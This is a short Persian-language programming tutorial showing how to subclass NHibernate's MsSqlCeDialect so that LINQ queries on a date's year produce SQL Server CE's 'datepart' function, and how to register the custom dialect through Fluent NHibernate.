خبر خوب اینکه می‌توان از همین Dialects موجود ارث بری کرد، سپس مواردی را که نیاز داریم override کرده یا به کلاس مشتق شده افزود. اکنون می‌توان از این Dialect سفارشی به جای Dialect اصلی استفاده کرد. در ادامه با یک نمونه آشنا خواهیم شد.
فرض کنید Dialect انتخابی مرتبط است با SQL Server CE استاندارد. کوئری ساده زیر را می‌نویسیم، به ظاهر باید کار کند:
var list = session.Query<SomeClass>().Where(x=>x.Date.Year==2011).ToList();
اما کار نمی‌کند! علت این است که تمام Dialects در NHibernate از یک Dialect پایه مشتق شده‌اند. در این Dialect پایه، تعریف تابع استخراج year از یک تاریخ به نحو زیر است:
extract(year, ?1)
اما در SQL CE این تابع باید به صورت زیر تغییر کند تا کار کند:
datepart(year, ?1)
و ... این Override انجام نشده (تا نگارش فعلی آن). مهم نیست! خودمان انجام خواهیم داد! به صورت زیر:
using NHibernate;
using NHibernate.Dialect;
using NHibernate.Dialect.Function;

namespace Test1
{
public class CustomSqlCeDialect : MsSqlCeDialect
{
public CustomSqlCeDialect()
{
RegisterFunction("year", new SQLFunctionTemplate(NHibernateUtil.Int32, "datepart(year, ?1)"));
}
}
}
خوب تا اینجا ما یک Dialect جدید را با ارث بری از MsSqlCeDialect اصلی تولید کرده‌ایم. مرحله بعد نوبت به معرفی آن به NHibernate است. اینکار توسط Fluent NHibernate به سادگی زیر است:
var dbType = MsSqlCeConfiguration.Standard
...
.Dialect<CustomSqlCeDialect>();

پس از آن کوئری LINQ ابتدای بحث بدون مشکل اجرا خواهد شد چون اکنون می‌داند که بجای extract year ، باید از تابع datepart‌ استفاده کند.
مرحله بعد هم می‌تواند تهیه یک patch و ارسال به گروه اصلی برای به روز رسانی پروژه NH باشد.